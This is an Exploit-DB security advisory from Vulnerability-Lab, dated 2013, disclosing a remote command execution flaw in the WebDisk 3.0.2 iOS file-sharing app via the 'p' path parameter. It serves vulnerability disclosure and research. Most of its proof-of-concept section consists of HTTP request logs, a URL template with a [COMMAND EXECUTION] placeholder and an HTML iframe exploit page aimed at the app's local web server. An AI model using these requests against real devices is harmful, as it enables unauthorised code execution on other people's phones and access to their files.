Exploit-DB #27189
Description: WebDisk 3.0.2 PhotoViewer iOS - Command Execution
Type: webapps
Platform: ios
Date: 2013-07-29
Author: Vulnerability-Lab

Exploit:
Title:
======
WebDisk 3.0.2 PhotoViewer iOS - Command Execution Vulnerability


Date:
=====
2013-07-27


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=1035


VL-ID:
=====
1035


Common Vulnerability Scoring System:
====================================
8.8


Introduction:
=============
WebDisk lets your iphone/ipad become a file website over wi-fi netwrk.You can upload/download your document 
to your iphone/ipad on your pc browser over wi-fi and it is also a document viewer. Lets you direct view 
your document on your iphone/iphone.

( Copy of the Homepage: https://itunes.apple.com/us/app/webdisk/id546221210 ) 


Abstract:
=========
The Vulnerability Laboratory Research Team discovered a remote code execution vulnerability in the WebDisk v3.0.2 application (Apple iOS - iPad & iPhone).


Report-Timeline:
================
2013-07-27:    Public Disclosure (Vulnerability Laboratory)


Status:
========
Published


Affected Products:
==================
Apple AppStore
Product: WebDisk PhotoViewer - Application 3.0.2


Exploitation-Technique:
=======================
Remote


Severity:
=========
Critical


Details:
========
A remote command execution web vulnerability is detected in the WebDisk v3.0.2 application (Apple iOS - iPad & iPhone).
The vulnerability allows remote attacker to execute code inside of a vulnerable web application module to compromise the device.

The vulnerability is located in the afgetdir.ma file when processing to request manipulated path parameters. Remote attackers can 
execute code from the main application index by using the upload input field. The code inside of the file upload field does not 
require to choose a file for an upload but executes the context directly via GET variable. The result is a web application code 
execution from the main index module. The code will be executed from the listing location under the upload input field of the 
webdisk wifi application.

Exploitation of the vulnerability does not require user interaction or a privilege application user account.
Successful exploitation results webdisk web-application or apple device compromise via remote code execution.

Vulnerable Module(s):
				[+] Upload - Input Field

Vulnerable File(s):
				[+] afgetdir.ma

Vulnerable Parameter(s): 
				[+] p (path)

Affected Module(s):
				[+] Index File Dir Listing


Proof of Concept:
=================
The remote command execution vulnerability can be exploited by remote attackers without privilege application user account or 
user interaction. For demonstration or reproduce ...


--- Exploitation Request Session Logs ---

Status: 200[OK]

GET http://192.168.2.104:1861/aadd.htm 
Load Flags[LOAD_BACKGROUND  ] Content Size[641] Mime Type[application/x-unknown-content-type]
   

Request Headers:
  Host[192.168.2.104:1861]
      
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]

Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
      

Referer[http://192.168.2.104:1861/afgetdir.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C]
Connection[keep-alive]
   

Response Headers:
Content-Length[641]
Server[MHttpServer/1.0.0]


Status: 200[OK]
GET http://192.168.2.104:1861/[CODE EXECUTION]+PATH 
Load Flags[LOAD_DOCUMENT_URI  ] 
Content Size[0] 
Mime Type[application/x-unknown-content-type]
   

Request Headers:
Host[192.168.2.104:1861]
      
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
      

Referer[http://192.168.2.104:1861/afgetdir.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C]
Connection[keep-alive]
   

Response Headers: 
Content-Length[0]
Server[MHttpServer/1.0.0]


URL=http://192.168.2.104:1861/afgetthum.ma?p=%5Cvar%5Cmobile%5CApplications
%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C[CODE EXECUTION]
Status: 200[OK]

GET http://192.168.2.104:1861/afgetthum.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CW%5C[CODE EXECUTION] 
Load Flags[LOAD_NORMAL] Content Size[20217] Mime Type[application/x-unknown-content-type]
   

Request Headers:
      
Host[192.168.2.104:1861]
  User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
Accept[image/png,image/*;q=0.8,*/*;q=0.5]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]

Referer
[http://192.168.2.104:1861/afgetdir.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C]   
Connection[keep-alive]
   

Response Headers:
Content-Length[20217]
Server[MHttpServer/1.0.0]

--- Exploitation Request Session Logs ---



Reference(s): mHTTP Web-Server

http://localhost:1861/
http://localhost:1861/mjs.js
http://localhost:1861/aadd.htm
http://localhost:1861/afgetthum.ma




PoC Example:
[HOST]:[PORT]/[FILE].[MA]?[PARAM Q]=%5C[PATH VAR]/[DIRECTION]%5C[ID]%5C[DOCUMNETS PATH]%5C[LIBRARY FOLDER]%5C[LOCAL PATH WDisk]%5C[COMMAND EXECUTION]

PoC Link:
http://localhost:1861/afgetthum.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C[COMMAND EXECUTION]


PoC: Exploit 1 - HTML

<html>
<head><body><title>WebDisk v3.0.2 - Command Execution Vulnerability - Remote PoC</title>
<iframe src=http://localhost:1861/afgetthum.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA
56%5CDocuments%5CLibrary%5CWD%5C[COMMAND EXECUTION] width=800 height=800>
</body></head>